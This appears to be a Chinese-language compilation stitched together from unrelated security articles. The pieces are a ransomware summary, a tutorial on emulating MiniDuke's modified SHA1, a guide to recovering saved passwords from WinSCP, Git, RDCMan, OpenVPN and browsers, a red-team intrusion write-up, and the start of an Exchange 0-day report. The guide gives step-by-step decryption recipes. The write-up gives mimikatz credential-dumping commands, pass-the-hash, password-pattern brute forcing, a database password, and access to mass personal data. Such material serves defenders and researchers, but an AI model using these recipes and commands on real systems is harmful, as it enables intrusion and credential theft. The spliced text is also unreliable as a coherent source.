這種勒索軟件通過利用設備的“安全模式”功能來進行加密程序而不被發現。勒索軟件還利用本地帳戶作為被欺騙的用戶登錄,並執行勒索軟件二進製文件,如果登錄嘗試成功,則進一步加密其他設備。它還終止大量進程和服務,並通過將DLL 注入svchost.exe 來確保持久性。

用戶和組織都可以通過遵循以下安全最佳實踐來降低被Agenda 等勒索軟件感染的風險:

1.啟用多因素身份驗證(MFA) ,以防止攻擊者在網絡內執行橫向移動。

2.備份重要文件時,請遵守3-2-1 規則。以兩種不同的文件格式創建三個備份副本,其中一個副本存儲在單獨的位置。

3.定期修補和更新系統。讓操作系統和應用程序保持最新非常重要,以防止惡意行為者利用任何軟件漏洞。

4.使用專業安全解決方案,它具有多層保護和行為檢測功能,有助於在勒索軟件造成任何攻擊之前阻止可疑行為和工具。

微信截图_20220928141315.png

對於逆向工程師來說,直接從分析的二進制代碼中調用函數的能力是一種捷徑,可以省去很多麻煩。雖然在某些情況下,理解函數邏輯並在高級語言中重新實現它是可能的,但這並不總是可行的,而且原始函數的邏輯越脆弱和復雜,這種方法就越不可行。在處理自定義哈希和加密時,這是一個特別棘手的問題,如果計算中的某個地方出現一個錯誤,就會導致最終輸出完全不同,而且調試起來非常麻煩。

我們將在本文中,介紹3 種實現此“捷徑”的不同方法,並直接從彙編中調用函數。我們首先介紹IDA Pro原生支持的IDA Appcall功能,可以直接通過idpython使用。然後我們演示如何使用Dumpulator實現同樣的行為,最後,我們將展示如何使用Unicorn Engine模擬得到該結果。本文中使用的實際示例基於MiniDuke惡意軟件示例實現的“經過調整的”SHA1哈希算法。

MiniDuke 實現的改進的SHA1 Hashing 算法MiniDuke示例中經過修改的SHA1算法用於為惡意軟件配置創建每個系統的加密密鑰。要哈希的緩衝區包含與所有接口描述的DWORD 連接的當前計算機名稱,例如'DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte'。此函數(SHA1Hash) 在初始摘要和中間階段使用與原始SHA1 相同的常量,但產生不同的輸出。

1.webp.jpg

MiniDuke SHA1Hash 函數常量

由於在原始和修改後的SHA1 中使用的常量都相同,因此差異必須出現在函數的1241 條彙編指令中。我們不能說這種調整是否是故意引入的,但事實仍然是惡意軟件開發者越來越喜歡插入這樣的“驚喜”,而處理它們的責任就落在了分析師身上。為此,我們必須首先了解函數期望其輸入並產生其輸出的形式。

事實證明,Duke-SHA1彙編使用自定義調用約定,其中要哈希的緩衝區長度在ecx寄存器中傳遞,而緩衝區本身的地址在edi中傳遞。從技術上講,在eax 中也傳遞了一個值,但是每當可執行文件調用該函數時,該值都是相同的0xffffffff,因此我們可以將其視為常量。有趣的是,惡意軟件還在每次調用該函數時將緩衝區長度(ecx)設置為0x40,僅對緩衝區的前0x40 個字節進行有效地哈希處理。

2.webp.jpg

SHA1Hash 函數參數

由此產生的160位SHA1哈希值在寄存器中以5個dword的形式返回(從高到低: eax, edx, ebx, ecx, esi)。例如,緩衝DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte的Duke-SHA1值為1851fff77f0957d1d690a32f31df2c32a1a84af7,返回為EAX:0x1851fff7 EDX:0x7f0957d1 EBX:0xd690a32f ECX:0x31df2c32 ESI:0xa1a84af7。

3.webp.jpg

生成的SHA1緩衝區哈希示例

如上所述,查找SHA1和Duke-SHA1的邏輯發生分歧的確切位置,然後在Python中重新實現Duke-SHA1,不過這個方法非常浪費時間。接下來,我們將使用幾種方法來“插入”函數的調用約定並直接調用它。

IDA–AppcallAppcall是IDA Pro的一個功能,它允許IDA Python腳本在調試程序中調用函數,就像它們是內置函數一樣。這是非常方便的,但它也不是通用的,即當用例變得有些不尋常或複雜時,應用難度會急劇上升。雖然在ecx 中傳遞緩衝區長度和在edi 中傳遞緩衝區是正常的,但在5個寄存器中分割160位的返回值並不是典型的函數輸出形式,Appcall 需要一些創意來解決這個問題。

接下來,我們創建了一個自定義結構struc_SHA1HASH,它保存了5個寄存器的值,並用作函數原型的返回類型:

4.png

IDA 結構窗口——“struc_SHA1HASH”

現在有了結構定義, Appcall 就可以與這個函數原型交互,如下面的PROTO 值所示。

5.png

由於IDA Appcall依賴於調試器,為了調用這個邏輯,我們首先需要編寫一個腳本來啟動調試器,對堆棧進行必要的調整,並執行其他必要的管理工作。

6.png

IDA視圖——堆棧調整

使用Appcall是最後一步,有幾種方法可以利用它來調用函數。我們可以在不指定原型的情況下直接調用函數,但這高度依賴於IDA 的IDB 中正確類型的函數。第二種方法是根據函數名和定義的原型創建一個可調用對象。通過這種方式,我們可以調用帶有特定原型的函數,無論在IDB中設置了什麼類型,如下所示:

7.png

使用Appcall 調用Duke-SHA1 的完整腳本如下所示。

8.png

還有一些示例輸出:

9.webp.jpg

腳本執行——“IDA Appcall”產生與MiniDuke 樣本相同的SHA1 哈希值

如果我們只是想將被調用的函數用作黑盒,那麼上面的方法是可以的,但有時我們可能希望在執行的特定狀態下訪問註冊表值,並且像上面那樣指定原型是一件繁瑣的事情。令人高興的是,這兩個缺點都可以被優化。

由於IDA Appcall 依賴於調試器並且可以直接從IDAPython 調用,因此我們可以從調試器調用Appcall 並對其執行進行更精細的控制。例如,我們可以通過為Appcall 設置一個特殊選項——APPCALL_MANUAL 來讓Appcall 在執行過程中將控制權交還給調試器。

10.png

通過這種方式,我們可以使用Appcall來準備參數,分配一個緩衝區,然後恢復之前的執行上下文。我們也可以避免為返回值指定結構類型(將其輸入為void),因為這將由調試器處理。有更多的方法來獲取函數的返回值,因此當控制調試器,就可以使用條件斷點在特定的執行狀態(例如在返回時)打印所需的值。

11.png

我們可以通過調用cleanup_appcall()在任何需要的執行時刻恢復之前的狀態(在Appcall 調用之前)。在我們的例子中,正好在遇到條件斷點之後。

12.png

完整的腳本如下:

13.png

DumpulatorDumpulator是一個python庫,它幫助在minidump文件中進行代碼模擬。 dumator的核心模擬引擎基於Unicorn engine,但在同類工具中有一個比較獨特的特點,那就是可以獲得整個過程的內存。這帶來了性能改進(在不離開Unicorn 的情況下模擬大部分已分析的二進製文件),如果我們可以在調用函數所需的程序上下文(堆棧等)已經就位的時候計算內存轉儲的時間,那麼就更方便了。此外,只有模擬系統調用才能提供真實的Windows環境(因為實際上一切都是合法的進程環境)。

可以使用許多工具(x64dbg - MiniDumpPlugin, process Explorer, process Hacker, Task Manager)或Windows API (MiniDumpWriteDump)捕獲所需進程的一個minidump。我們可以使用x64dbg - MiniDumpPlugin在幾乎所有進程都已經設置為SHA1哈希創建的狀態下創建一個minidump,就在SHA1Hash函數調用之前。注意,沒有必要以這種方式對轉儲進行計時,因為在進行轉儲後,可以在轉儲器中手動設置環境,這只是為了方便而已。

14.webp.jpg

使用“x64dbg - MiniDumpPlugin”創建minidump

Dumpulator不僅可以訪問整個轉儲的進程內存,還可以分配額外的內存、讀取內存、寫入內存、讀取註冊表值和寫入註冊表值。換句話說,模擬器可以做的任何事情。也有可能實現系統調用,因此可以模擬使用它們的代碼。

要通過Dumpulator調用Duke-SHA1,我們需要指定將在minidump中調用的函數的地址及其參數。在本例中,SHA1Hash的地址為0x407108。

15.webp.jpg

在IDA 中打開生成的minidump

因為我們不希望在minidump的當前狀態中使用已經設置的值,所以我們為函數定義自己的參數值。我們甚至可以分配一個新的緩衝區,用作哈希的緩衝區。完成此任務的代碼如下所示。

16.png

執行此腳本將生成正確的Duke-SHA1值

17.webp.jpg

腳本執行——“Dumpulator”產生與MiniDuke 樣本相同的SHA1 哈希值

Emulation–Unicorn Engine對於模擬方法,我們可以使用任何類型的CPU模擬器(例如Qiling、Speakeasy等),它們能夠模擬x86彙編,並具有針對Python語言的綁定。因為我們不需要任何更高的抽象級別(系統調用,API函數),我們可以使用其他大多數引擎的基礎設施——Unicorn Engine。

Unicorn是一個輕量級、多平台、多體系結構的CPU模擬器框架,基於QEMU,它是用純C語言實現的,並綁定了許多其他語言。我們將使用Python綁定。我們的目標是創建一個獨立的函數SHA1Hash,它可以像Python中的任何其他普通函數一樣被調用,產生與MiniDuke中原始函數相同的SHA1哈希。我們使用的實現背後的想法非常簡單——我們只需提取函數的操作碼字節並通過CPU 模擬使用它們。

提取原始函數操作碼的所有字節可以簡單地通過idpython或使用IDA→Edit→Export Data來完成。

18.png

使用IDA“Export data”對話框導出SHA1Hash函數的操作碼字節

與前面的方法一樣,我們需要設置執行上下文。在本文示例中,這意味著為函數準備參數,並為提取的操作碼和輸入緩衝區設置地址。

19.png

請注意,應從提取的操作碼列表中刪除最後一條retn 指令,以免將執行轉移回堆棧上的返回地址,並且應通過指定ebp 和esp 的值手動設置堆棧幀。所有這些都顯示在下面的最終Python 腳本中。

20.png

腳本輸出如下所示:

21.png

腳本執行——“Unicorn Engine”產生與MiniDuke示例相同的SHA1哈希值

總結上述所有直接調用彙編的方法都各有優缺點。給我們留下特別深刻印象的是簡易的Dumpulator,它是免費的,執行起來很快,而且非常有效。它非常適合編寫通用字符串解密器、配置提取器和其他上下文,在這些上下文中,必須依次調用許多不同的邏輯片段,同時保留難以設置的上下文。

當我們希望直接使用調用特定函數產生的結果來豐富IDA數據庫時,IDA Appcall功能是最好的解決方案之一。系統調用可以是Appcall在實際執行環境中使用的函數的一部分——使用調試器。 Appcall最大的優點之一就是快速而簡單的上下文恢復。由於Appcall依賴調試器,可以與idpython腳本一起使用,理論上它甚至可以作為模糊器的基礎,向函數提供隨機輸入以發現意外行為(即錯誤),但這種方法的消耗太大。

通過Unicorn Engine 使用純仿真是獨立實現特定功能的通用解決方案。使用這種方法,可以按原樣獲取部分代碼並在不連接到原始示例的情況下使用它。此方法不依賴於可運行的示例,並且僅適用於部分代碼重新實現功能。對於不是連續的、易於轉儲的代碼塊的函數,這種方法可能更難實現。對於發生API 或系統調用的部分代碼,或者難以設置執行上下文的代碼,前面提到的方法通常是更好的選擇。

在軟件行業,可用性和安全性一直是個矛盾。許多第三方程序可以通過存儲用戶的憑據方便用戶使用。然而,事實證明,這種便利通常是以安全性性為代價的,從而導緻密碼被盜的風險。以這種方式收集的憑據可以在實際的網絡攻擊期間使用。

攻擊者如何擴展其訪問權限很明顯,憑據盜竊是很危險的。但是,有必要強調憑據盜竊可能產生的影響規模。

許多人傾向於在不同的程序中使用相同的密碼,並且很少更改他們的密碼。到了修改密碼的時候,許多人都遵循可預測的模式。

因此,當攻擊者可以從一個來源獲得密碼時,他們可以嘗試使用它來攻擊其他資源,包括一些更受保護的資源。因此,對於每個安全的程序A,用戶可以在不太安全的程序B 上使用相同的密碼或模式,這可能導致程序A 的安全性降低。

此外,如果發現有人在其他不太安全的地方使用他們的操作系統密碼,那麼攻擊者就會打開一個全新的可能性世界。

例如,假設某人X 對他的Windows 帳戶域和Linux FTP 文件服務器使用相同的密碼。在這種情況下,X用戶使用常用程序WinSCP在文件服務器上管理自己的文件。儘管WinSCP 建議不建議保存密碼,但是X用戶每週都會訪問這個文件服務器,所以他們更願意節省時間,保存密碼。

1.png

WinSCP 不建議保存密碼

正如我們稍後將演示的那樣,用戶的密碼可以很容易地從WinSCP存儲密碼的地方獲取。可以在X 的個人計算機上立足的攻擊者可以獲得他們的域帳戶密碼,只是因為它被不安全地保存了。最重要的是,密碼對於連接到文件服務器是有效的。該文件服務器可能包含攻擊者現在可以訪問的敏感信息文件。那樣,攻擊者可以使用像BloodHound 這樣的工具來估計他們可以在一個組織內傳播多遠。

以WinSCP為例進行具體分析WinSCP是常用的一種SFTP客戶端和FTP客戶端,用於在Windows本地計算機和遠程服務器之間通過FTP、FTPS、SCP和SFTP複製文件。

測試版本:5.19.6 (Build 12002 2202-02-22)

憑據存儲在哪裡?

WinSCP將加密後的用戶密碼存儲在如下所示的註冊表項下的一個名為Password 的值中。

加图1.png

如何恢復憑據?

WinSCP工具對用戶密碼的位數進行對稱數學運算。它獲取密碼的每個字節,計算0xFF(11111111)的補碼,然後用字節0xA3(10100011)對其進行異或運算。

加密過程包括找到補碼並執行一次異或運算。然後將密碼存儲在密碼註冊表值中。由於這些數學運算是對稱的,我們需要做的就是以相反的順序再次執行相同的兩個運算,以獲得原始值。

例如,讓我們以一個常用的密碼為例:Aa123456。 “1D3D6D6E6F68696A”密碼在WinSCP工具上的存儲方式如下。

在下圖中,我們看到了解密密碼的步驟:

2.png

解密存儲在WinSCP 中的密碼

密碼與主機名和用戶名一起保存。要從密碼註冊表值中獲取它,我們必須找到密碼開頭的索引。這個計算非常簡單,根據WinSCP版本,註冊表值的第一個或第三個字節是連接的用戶名、主機名和密碼的長度。起始索引是長度的下一個字節,其值乘以2。長度和起始索引都以相同的方式加密。

主機名和用戶名也保存在不同的註冊表值上,因此我們知道它們的長度和值。我們所做的就是從索引中解密密碼註冊表的值:開始索引+用戶名長度+主機名長度,我們就會得到我們的密碼。

3.png

連接的用戶名、主機名和密碼的位置

野外利用

我們已經看到在多個客戶環境中執行了以下腳本:

4.png

可疑的PowerShell編碼命令

-enc表示EncodedCommand,這意味著將使用一個base-64編碼的字符串作為命令。

在解碼的腳本中,我們可以看到嘗試解密WinSCP 密碼:

5.png

用於提取和解密WinSCP 密碼的PowerShell 腳本

6.png

Cortex XDR阻止了讀取存儲在WinSCP中的密碼的嘗試

以Git為例進行具體分析測試版本:2.35.1.windows.2。

憑據存儲在哪裡?

Git 允許同時使用密碼和個人訪問令牌(PAT)。

當用戶想通過保存他們的Git憑據來節省時間時,他們可以使用以下命令:

gitconfigcredential.helper'store'使用這個命令,Git將以純文本的形式無限期地將用戶的憑據保存在磁盤上。

可能包含密碼的文件:

加图2.png

Git 允許使用PAT 作為憑據,而不是傳統的密碼使用。這些令牌更加模塊化,因為可以創建任意數量的訪問令牌,每個令牌具有不同的權限和過期日期。

雖然可以以更模塊化和更細粒度的方式控制用戶的操作,每個操作都與特定的PAT 相關聯,但是擁有用戶PAT的任何人都可以查看用戶可以訪問的所有存儲庫。

這些標籤也以明文形式出現在上面提到的相同文件中。

如何恢復憑據?

任何閱讀這些文件的人都會以純文本形式看到用戶名、密碼或令牌以及相關的Git 存儲庫。

以RDCMan為例進行具體分析測試版本:2.83

RDCMan可以管理多個遠程桌面連接。它對於管理需要定期訪問計算機的服務器實驗室非常有用,比如自動簽入系統和數據中心。

憑據存儲在哪裡?

當用戶決定使用RDCMan 保存會話密碼時,默認配置文件將為%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings。

這個文件是一個XML文件,包含關於每個RDP連接的通用元數據。在這些數據中,有一個名為CredentialsProfiles的XML標籤引起了我們的注意。

我們可以看到,在這個標籤下,還有另一個名為CredentialsProfiles的標籤,其中還有credentialsProfile XML標籤,以及一個Password 標籤。

7.png

查看RDCMan.settings中的XML標籤

如何恢復憑據?

要檢索密碼,我們必須在使用RDCMan程序的用戶的上下文中執行命令。這是因為密碼是使用數據保護API (DATA Protection API, DPAPI)保存的,該API 可以分別使用CryptProtectData和CryptUnprotectData函數對任何類型的數據進行對稱加密和解密。

因此,為了獲得密碼,我們需要調用CryptUnprotectData函數。

通常,唯一可以解密數據的用戶是與加密數據的用戶具有相同登錄憑據的用戶。

儘管從RDCMan 收集憑據需要攻擊者採取比我們其他一些示例中所需的額外步驟,在相關用戶的上下文中運行軟件,但結果對攻擊者來說具有很大的價值。如果成功,攻擊者就有可能獲得該特定用戶連接到的所有計算機的所有用戶和密碼。

一旦攻擊者能夠在用戶的上下文中執行命令,為了收集憑據,剩下要做的就是:

打開RDCMan.settings 文件並檢查密碼XML 標籤;

使用base64 解碼標籤中的字符串;

使用解碼的密碼字符串調用CryptUnprotectData;

使用UTF-8(或其他相關格式)對結果進行解碼;

刪除不必要的空字符;

看看上面的例子,保存在文件中的密碼是:

AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA8/nnW5aFNUi0AKiTG4y9UQAAAAACAAAAAAAQZgAAAAEAACAAAADIjLLw0X4z9RDdWgPpqabLU7hTcJ1HVlFklpzX3eA14QAAAAAOgAAAAAIAACAAAAB01OvDCNCjaEhrq8J8hRm/SKyc ef7nR52ZkqcPLJqMsCAAAACg2htaeRsutDziS3FISeEAg3DsBpGxBGpPeWlUSVnXOkAAAAB5Tei9g5KWcVIhOKQ2cXxr5ONUOHMEEH5h3Lmp12mPlWaaZ6y8dGIVz8WnNKr4e73dhqNU8NyzI7RZBamS6DG6解密後的密碼是Aa123456。

8.png

從RDCMan中恢復密碼

以OpenVPN為例進行具體分析測試版本:2.5.029。

OpenVPN 是一個虛擬專用網絡系統,它實現了在路由或橋接配置和遠程訪問設施中創建安全的點對點連接的技術。

憑據存儲在哪裡?

OpenVPN 將用戶的密碼存儲在如下所示的註冊表項下的一個名為auth-data 的值中。

加图3.png

如何恢復憑據?

OpenVPN還使用了DPAPI機制,並附加了可選的熵參數(可以設置為NULL)。

當在加密階段使用可選的熵DATA_BLOB結構時,必須在解密階段使用相同的DATA_BLOB結構。

在OpenVPN的情況下,熵保存在一個名為熵的註冊表值中。熵註冊值也存儲在如下路徑。

加图4.png

因此,使用來自auth-data 和熵(來自熵)的密碼調用CryptUnprotectData 將為我們提供會話密碼。

熵註冊表值包含一個額外的字節00,所以我們只需要省略它。

9.png

上面是恢復OpenVPN密碼的PowerShell腳本。下面,通過reg.exe (POC) 顯示auth-data 和entropy 註冊表值的方式。

以基於Chromium 的瀏覽器為例進行具體分析測試版:

Google Chrome——測試版本:103.0.5060.53(官方版本)(64 位);

Microsoft Edge——測試版本:103.0.1264.37(官方版本)(64 位);

Opera——測試版本:88.0.4412.53;

Chromium 項目包括Chromium,它是Google Chrome 瀏覽器背後的開源項目。

在典型的使用例程中,許多人傾向於在上網時保存密碼。

10.png

Google Chrome 版本102.0.5005.115(官方版本)(64 位)保存的密碼

憑據存儲在哪裡?

在使用基於Chromium 的瀏覽器(如Microsoft Edge、Opera 或Google Chrome)時,密碼被加密位於SQLite 數據庫文件中,通常稱為登錄數據。

每個配置文件都有一個密碼數據庫,即它的登錄數據文件。

用於加密密碼的密鑰位於父文件夾中的名為本地狀態的JSON 文件中。

例如:

登錄數據位置:

加图5.png

區域位置:

Google Chrome: %localappdata%\google\chrome\user data\local state

Microsoft Edge: %localappdata%\microsoft\edge\user data\local state

Opera: %appdata%\opera software\opera stable\local state

如何恢復憑據?

登錄數據庫中的每個密碼都使用高級加密標準(AES) 以GCM 模式進行加密。 AES GCM是一種對稱加密方法,因此相同的密鑰對加密和解密都有效。 AES算法對每個128位數據塊使用不同的密鑰,該密鑰基於前一個塊的計算。對於第一個塊,可以選擇使用初始化向量(IV)。

要解密基於Chromium 的瀏覽器保存的密碼,我們需要:

加密的密碼;

初始化向量;

AES 密鑰;

讓我們看看如何檢索它們:

加密密碼

可以從登錄數據數據庫中導出:加密的密碼從password_value列中取出,從第15位的字母到末尾的16個字母。 [15:-16]

初始化向量

位於相同的password_value 字段列中,從第3 位的字母到第15 位的字母。 [3:15]

AES密鑰

寫在本地狀態JSON 文件中,在密鑰os_crypt 和encrypted_key 下,用base64 解碼。

基於Chromium 的瀏覽器使用DPAPI 機制保存AES 密鑰,因此要獲取它,我們必須從base64 解碼它並在用戶的上下文中使用CryptUnprotectData。

來自谷歌Chrome的示例:

11.png

保存在Google Chrome 本地狀態JSON 文件中的密碼

它以五個字母開頭的前綴保存:DPAPI。

12.png

保存在Google Chrome 中的解碼密碼

如果攻擊者能夠在用戶的上下文中運行,那麼完成收集用戶憑據所需要做的就是:

複製登錄數據和本地狀態文件;

從本地狀態JSON文件中獲取AES GCM密鑰;

解碼(base64),解密(CryptUnprotectData)並從密鑰中刪除填充;

使用解密的AES GCM 密鑰解密登錄數據數據庫中的每個密碼;

13.png

用於恢復Chrome 中保存的密碼的POC

你可以閱讀有關如何在Python 中提取Chrome 密碼的更多信息。

野外利用

我們看到在excel.exe中使用regsvr32.exe運行了以下DLL:

加图6.png

(kgnkudbadmpogg.dll 的SHA256:6599FEE8C7ADF30A00889A7070600F472F8CEAD8EA4DD1A85E724ED15F2AED0F)

在一系列操作之後,最終的有效負載試圖訪問Microsoft Edge 憑據文件:

登錄數據文件(SQLite 數據庫文件)如下所示:

加图7.png

本地狀態文件(包含加密密鑰)如下所示:

加图8.png

14.png

Cortex XDR 檢測到讀取保存在Microsoft Edge 瀏覽器中的密碼的嘗試

以Firefox瀏覽器為例進行具體分析測試版本:Firefox 版本101.0.1(64 位)

使用其他瀏覽器(例如Mozilla Firefox)時,密碼保存行為模式也很重要。

15.png

Firefox 版本101.0.1(64 位)保存的密碼

憑據存儲在哪裡?

與基於Chromium 的瀏覽器類似,在Mozilla Firefox 瀏覽器中,每個配置文件也有自己的密碼文件。

此文件名為logins.json,位於以下位置中:

加图9.png

用戶名和密碼均以加密方式保存。

16.png

Firefox 的logins.json 文件中保存的密碼

如何恢復憑據?

logins.json 文件中的每個用戶名和密碼都使用PKCS #11 加密標准進行加密。 Firefox 開發了NSS 庫,以便在其瀏覽器(nss3.dll) 中採用此標準。

NSS 將私鑰存儲在名為key3.db 或key4.db 的文件中,具體取決於NSS 版本。

要檢索用戶的密碼,攻擊者必須訪問其中一個文件和logins.json 文件。

因此,如果攻擊者能夠獲得在同一台計算機上運行的權限,那麼竊取密碼的過程將是:

攻擊者復制logins.json 文件;

加載NSS 庫(nss3.dll);

從logins.json 的副本中解碼(base64) encryptedUsername 和encryptedPassword;

將每個輸入存儲在一個SecItem 對像中,該對象稍後在整個NSS 中用於來回傳遞二進制數據塊;

創建用於輸出的SecItem 對象;

使用nss3.dll 中的PK11 解密函數解密每個encryptedUsername 和encryptedPassword 輸入對象,並將數據存儲在新的SecItem 輸出對像中;

與基於Chromium 的瀏覽器的情況不同,攻擊者不必在用戶的上下文中運行以獲取用戶的密碼,而是可以利用任何有權訪問目標用戶的文件系統配置文件的用戶。

前言

前段时间参加了一场攻防演练,使用常规漏洞尝试未果后,想到不少师傅分享过从JS中寻找突破的文章,于是硬着头皮刚起了JS,最终打开了内网入口获取了靶标权限和个人信息。在此分享一下过程。

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

通过JS打点

开局只有一个登录页面,无法枚举用户名并且尝试爆破未果。

1140t4fmazo13914.jpg

利用bp抓包查看JS相关文件发现存在sql语句

nv4sevwjqry13915.jpg

跟踪comboxsql变量,发现定义了一个action

t5nr25q05gg13917.jpg

搜索这个action类路径,发现访问方式是通过url拼接

knacehff5i413918.jpg

将该路径进行拼接,并将参数输入sql语句,测试发现该数据库为mssql数据库,可通过xp_cmdshell来执行系统命令。

1fgf5objryh13919.jpg

shellcodeloader上线CS

执行system权限后,打算直接使用远程下载上线免杀cs,但是未上线成功,查看进程发现有360企业云,触发拦截了执行exe行为。

ppp5izyc5iz13921.jpg

换种思路,通过下载哥斯拉webshell后,利用哥斯拉的shellcodeloader功能,加载自己CS木马的shellcode可上线成功。

abwboyy0mjx13922.jpg

解密数据库配置信息

因执行任何exe文件时,均提示拒绝访问,无法进行文件的运行,通过搜索本机配置文件发现了数据库的账号密码,但是数据库密码加密了

ez2bir4nmb113924.jpg

通过查找历史网站备份文件,发现的该系统早期配置文件并未做数据库密码加密配置,测试发现可以连接数据库。

timza5rxglj13926.jpg

另外查找本系统数据库备份文件时,意外发现了该服务器部署的另一套业务系统,并且数据库配置文件中的账号、密码和数据库ip同样也为加密存储。

fgc131uatzh13928.jpg


通过查找该系统特征发现为SiteServer CMS系统。从网上搜索发现了该cms的专用加解密工具 SiteServer CLI

02lgphlvaoq13930.jpg

运行后也可获取数据库明文配置信息

cs开启代理进行连接,测试连接成功

4cz0cvtu3jt13931.jpg

不过同样发现该数据库服务器也无法执行exe程序,无法运行mimikatz读取管理员哈希,无法建立用户,无法上传tscan进行内网扫描,在这尬住了。最后使用cs插件的信息探测,可探测内网网段资产。

hzhe4pkx4hp13934.jpg

使用17010插件攻击失败

hottuejarpl13935.jpg

使用proxychains配合msf获取了PC权限Image

5wrv4oafgd113937.jpg

使用mimikaz读取管理员密码开启远程桌面发现无法登录限制

b2n4w5ftij413939.jpg

msf加载mimikaz模块


ts::multirdp

获取内网权限

建立新用户,进入个人pc电脑

kamz25q2wpq13941.jpg

通过该PC机为据点,上传TideFinger和Tscan搭配进行内网扫描,在这有必要介绍下该两款工具。

Go语言版的TideFinger指纹识别功能: 1、加入Dismap、Vscan、Kscan、fofa、ServerScan等多个指纹 2、并加入了ServerScan的非web服务指纹,优化了资产发现的协程并发效率。3、显示效果借鉴了Dismap,在效率和指纹覆盖面方面应该是目前较高的了

ys0ciwxypis13944.jpg

Go语言版的Tscan功能: 1、Tscan为Tide安全团队共同维护的内外网资产扫描工具 2、基础代码随Fscan更新进行迭代 3、与潮声POC漏洞检测平台联动,团队成员每月会编写近期爆出的poc和定期收集整理网上已发布的poc检测模块最后进行更新发布。


pett2gvi5jl13945.jpg

扫描内网网段后,接下来是漏洞验证的过程,瞄了一眼结果没有发现能直接getshell的洞,不过指纹探测出了内网其中一ip开放了2222端口为rmi。

frzjzfl3ii113947.jpgImage

虽然拿到了该服务器权限,但是通过对本服务器进行信息搜集时,并未发现其它相关的账号密码信息。

SAM文件获取用户hash

使用mimikaz中sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息,输出结果发现没有administrator等用户信息(主要是因为拿权限上cs时,估计触发了杀软策略导致服务器重启了),然后使用query user发现管理员用户不在线,故无法直接通过内存读取管理员hash。使用mimikaz读取SAM文件中的hash。


privilege::debug
#提升至system
token::elevate
#抓取sam
lsadump::sam

hash传递

拿到NTLM Hash后发现无法从在线网站直接解密出明文密码 通过获取的NTLM进行hash传递获取四台服务器权限。

s4b0nzucc1n13952.jpg

接下来利用hash登录该服务器,继续进行信息搜集。在其中一台服务器内发现了套娃远程桌面,并且为03系统

bcjae1tfols13954.jpg

获取服务器密码规律

通过mimikaz读取该密码(在KB2871997之前,Mimikatz可以直接抓取明文密码)


* Domain : WIN-LAOLOVGMF
* Password : xxxxxy401*1009

* Username : Administrator
* Domain : SD-68QDNY80KE
* Password : xxxxxy101*2006

* Username : SDAdministrator
* Domain : SD-93O4N5O2UD
* Password : xxxxxy501*2003

以及获取数据库配置密码


            <add key="dbDBName" value="REPSDU"/>
            <add key="dbUserName" value="sa"/>
            <add key="dbUserPwd" value="sdxxxxxy1108"/>
            <add key="CrystalImageCleaner-AutoStart" value="true"/>
            <add key="CrystalImageCleaner-Sleep" value="60000"/>
            <add key="CrystalImageCleaner-Age" value="120000"/>
        </appSettings>

通过观察发现服务器密码命名规律,猜测为楼层+房间号组合结尾,数据库服务器以房间号结尾。通过组合变形密码后缀,进行内网横向爆破。可获得大量SSH和RDP服务器

ju0wzhba0iy13957.jpgImage

通过此方式拿到了靶标服务器权限。

hpkdaapz1bo13962.jpg

接下来寻找敏感数据,通过对数据库搜寻发现大部分的数据信息已被脱敏存储。

ibfdwmdcznj13966.jpg

翻看了获取的数据库里涉及业务的公民个人信息发现全被脱敏存储了,企业内部的一些系统登录人员个人信息倒是没有脱敏存储,但是数量较少。

获取个人信息

只好换种思路,打算矛头指向办公区电脑(因一些企业、学校和医院之类的个人信息有时候会存储在个人电脑excel中,方便整理使用,特别疫情时期人员的核酸信息) 继续使用TideFinger详细的搜集内网资产,发现了内网存在oa系统。通过收集数据库中含有管理员、高层、企管专员、总裁、信息中心和主任相关的工号、身份证号、姓名、密码、生日等个人信息。

hhrsmm5wpzx13969.jpgt4hu123nbfh13973.jpg3pxj3dx4xkt13977.jpg

尝试发现可成功登录oa系统,即使密码错误的账号,也可通过忘记密码重置密码(重置密码需要填写身份证+工号)

opbyv2lgnhw13979.jpg

最终在oa中发现了2020-2022年的核酸检测名单等,其中包括各地分公司以及各厂区人员信息几十万余条。

3kfp1qkbjx413982.jpg

总结

随着近些年攻防演练的开展,防守单位对于安全的投入也越来越多,特别是安全防护、安全设备以及蓝队防守人员的加入,使得打点变的尤为困难。所以还是需要不断学习师傅们的思路,从而提高自己的姿势水平呀。



原文链接:https://mp.weixin.qq.com/s/KrbCMEn_8C7XcsHxGSwnIA

8月初,在執行安全監控和事件響應服務時,GTSC SOC團隊發現一個關鍵基礎架構受到攻擊,經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間,GTSC Blue Team專家確定,攻擊者利用了一個未公開的Exchange安全0 day 漏洞,因此立即制定了臨時緩解計劃。與此同時,安全專家開始研究和調試Exchange反編譯代碼,以查找漏洞並利用代碼。經分析,該漏洞非常嚴重,使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI),以便與微軟合作,盡快準備修補程序。 ZDI驗證並確認了2個漏洞,CVSS評分分別為8.8和6.3。

1.png

不過截至目前,修復程序還未發布,GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試,研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時,GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示:

加图1.png

研究人員還檢查了其他日誌,發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新,因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後,他們對為什麼漏洞利用請求與ProxyShell bug類似? RCE是如何實施的?等問題進行了研究。

經過分析,研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而,處於安全考慮,目前我們還不想發布該漏洞的技術細節。

利用後(Post-exploit)活動在追踪到有關攻擊示例後,研究人員開始收集信息並在受害者的系統中建立一個立足點。另外,攻擊者還使用各種技術在受影響的系統上創建後門,並對系統中的其他服務器執行橫向移動。

